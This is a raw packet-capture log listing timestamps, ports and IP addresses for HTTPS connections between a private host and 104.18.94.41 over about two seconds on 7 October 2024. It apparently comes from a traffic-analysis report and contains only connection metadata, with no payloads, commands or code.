Oct 7, 2024 21:55:15.892577887 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.892705917 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.892712116 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.892776966 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.935029030 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.021856070 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.022008896 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.022053957 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.022075891 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.022186995 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.022236109 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.022247076 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.022562981 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.022609949 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.022619009 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.022758007 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.022803068 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.022810936 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.026607990 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.026688099 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.026695967 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.075503111 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.075517893 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.105077982 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.105144978 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.105154991 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.105281115 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.105329990 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.105339050 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.105468988 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.105514050 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.105521917 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.106508017 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.106569052 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.106576920 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.106733084 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.106786966 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.106794119 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.106905937 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.106950998 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.106957912 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.107084036 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.107136011 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.107144117 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.107270956 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.107314110 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.107332945 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.107485056 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.107531071 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.107538939 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.107654095 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.107701063 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.107708931 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.153572083 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.153665066 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.153729916 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.153729916 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.153775930 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188062906 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188177109 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188198090 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.188214064 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188302994 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.188309908 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188415051 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188499928 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.188508034 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188549995 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188616037 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.188638926 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188658953 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.188699007 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.189150095 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.189204931 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.189213991 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.189275026 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.189305067 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.189338923 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.189388037 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.189395905 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.189443111 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.189981937 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.190063953 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.190100908 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.190188885 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.190342903 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.190342903 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.190357924 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.190990925 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.191082954 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.191114902 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.191153049 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.191174030 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.191955090 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.192018986 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.192028999 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.192080021 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.192080021 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.192118883 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.192132950 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.192207098 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.192251921 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.192260027 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.192296028 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.234759092 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.234879017 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.271269083 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.271357059 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.271410942 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.271435022 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.271461010 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.271542072 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.271560907 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.271573067 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.271622896 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.271887064 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.271974087 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.271977901 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.272017956 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.272042990 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.272646904 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.272713900 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.272725105 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.272845984 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.272897005 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.272912025 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.272936106 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.285725117 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.285767078 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.285826921 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.286061049 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.286077976 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.420294046 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.420356989 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.420495987 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.420831919 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.420845032 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.754034996 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.754317045 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.754343033 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.754791975 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.755192041 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.755269051 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.755367041 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.798433065 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.798450947 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.886694908 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.886987925 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.887012005 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.887877941 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.888166904 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.888273001 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.888309956 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.888361931 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.888448954 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.898458958 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.900674105 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.900727987 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.900760889 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.900791883 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.901119947 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.903178930 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.905411959 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.905477047 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.905517101 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.907963991 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.908005953 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.908848047 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.908863068 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.909002066 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.910332918 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.962357998 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.962388039 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.983589888 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.983643055 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.983717918 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.983735085 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.983756065 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.983781099 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.983797073 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.984179020 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.984184980 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.984436989 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.984474897 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.984488964 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.984494925 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.984642029 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.985021114 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.985126019 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.985157967 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.985166073 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.985183954 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.985241890 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.985992908 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.986063957 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.986099958 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.986134052 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.986148119 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.986157894 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.986502886 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.987503052 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.987548113 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.987590075 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.987632036 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.987632036 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.987641096 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.988500118 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:16.988548994 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:16.988563061 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.039428949 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.039452076 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070183039 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070229053 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070269108 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070307016 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070317030 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.070317030 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.070338964 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070353985 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070409060 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070419073 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070457935 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070458889 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.070458889 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.070470095 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070534945 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070579052 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.070579052 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.070594072 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070770979 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.070919037 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070957899 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.070975065 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.070985079 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.071027994 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.071027994 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.071085930 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.071126938 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.071144104 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.071150064 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.071181059 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.071181059 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.071891069 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.071939945 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.071948051 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.071963072 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.071986914 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.071994066 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.072026968 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.072026968 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.072033882 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.072046995 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.072705984 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.072752953 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.072752953 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.072762966 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.112572908 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.112648964 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.112709045 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.112709045 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.112730980 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.112771034 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.112788916 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.112889051 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.112926960 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.112937927 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.112994909 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.113029957 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.113035917 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.113164902 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.113207102 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.113212109 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.116847038 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.117515087 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.117567062 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.117572069 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.156445026 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.156519890 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.156558037 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.156570911 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.156570911 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.156599998 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.156694889 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.156729937 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.156729937 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.156933069 CEST	50095	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.156950951 CEST	443	50095	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.163259983 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.194189072 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.194283962 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.194323063 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.194328070 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.194335938 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.194370031 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.194375038 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.194945097 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.194984913 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.194994926 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.194999933 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.195036888 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.195041895 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196156025 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196199894 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.196204901 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196249962 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196284056 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.196289062 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196490049 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196525097 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.196530104 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196573019 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196609020 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.196609020 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196624041 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.196652889 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.197329044 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.197421074 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.197455883 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.197459936 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.197473049 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.197504044 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.198170900 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.240581036 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.240587950 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277057886 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277117968 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.277129889 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277262926 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277302027 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.277307987 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277419090 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277441978 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277468920 CEST	50096	443	192.168.2.5	104.18.94.41
